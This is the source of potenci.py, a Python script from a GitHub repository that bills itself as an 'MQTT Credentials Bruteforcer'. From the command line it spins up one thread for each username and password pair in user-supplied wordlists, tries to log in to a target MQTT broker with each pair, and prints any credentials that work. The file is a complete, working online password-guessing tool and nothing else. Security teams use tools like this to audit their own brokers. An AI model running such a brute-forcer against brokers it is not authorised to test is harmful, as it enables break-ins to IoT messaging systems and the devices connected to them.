-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathpotenci.py
70 lines (62 loc) · 2.99 KB
/
potenci.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import paho.mqtt.client as mqtt
import argparse
import threading
import os
# Project Name: Potenci -from the latin word potentialis: force, power
# MQTT Credentials Bruteforcer
# Team: AutoSecurityy
# https://github.com/AutoSecurityy
# https://twitter.com/autosecurityy
#
# Usage: python3 potenci.py 127.0.0.1 -u users.txt -P pwd.txt
# python3 potenci.py mqtt.broker.xyz -u users.txt -P pwd.txt
#BannerStart
print("")
print("\33[37m ▄█▀ ▄▄▄▄▄▄▄ ▀█▄")
print(" ▀█████████████▀")
print(" █▄███▄█")
print(" █████")
print(" █▀█▀█\33[0m")
print("")
print("\033[32m █▀█ █▀█ ▀█▀ █▀▀ █▄░█ █▀▀ █")
print(" █▀▀ █▄█ ░█░ ██▄ █░▀█ █▄▄ █\033[0m")
print(" MQTT Credentials Bruteforcer")
print(" \033[01m\033[42mOwned by AutoSecurityy\033[0m")
print(" \033[04mgithub.com/AutoSecurityy/potenci\033[0m")
#print("---------------------------------------------------")
print("")
#BannerEnd
def on_connect(client, userdata, flags, rc):
if rc == 0:
print("\033[92m[SUCCESS] Cred Found: {}:{}".format(userdata[0], userdata[1]))
client.disconnect()
def login(host, port, username, password):
try:
print("\033[94m[INFO] Attempting: {}:{}\033[0m".format(username, password))
client = mqtt.Client()
client.username_pw_set(username, password)
client.user_data_set((username, password))
client.on_connect = on_connect
client.connect(host, port, 60)
client.loop_start()
except Exception as e:
print("\033[91m[ERROR] Exception occurred during authentication attempt: {}\033[0m".format(e))
parser = argparse.ArgumentParser()
parser.add_argument("host", type=str, help="Host/IP of the MQTT broker")
parser.add_argument("-p", "--port", type=int, default=1883, help="Port of the MQTT broker (default: 1883)")
parser.add_argument("-u", "--username_file", type=str, help="Text file containing a list of usernames for the MQTT broker")
parser.add_argument("-P", "--password_file", type=str, help="Text file containing a list of passwords for the MQTT broker")
args = parser.parse_args()
if args.username_file and args.password_file:
if not os.path.exists(args.username_file) or not os.path.exists(args.password_file):
print("\033[91m[ERROR] Given username or password file does not exist in the directory.\033[0m")
exit()
else:
with open(args.username_file) as f:
usernames = f.read().splitlines()
with open(args.password_file) as f:
passwords = f.read().splitlines()
for username in usernames:
for password in passwords:
thread = threading.Thread(target=login, args=(args.host, args.port, username, password))
thread.start()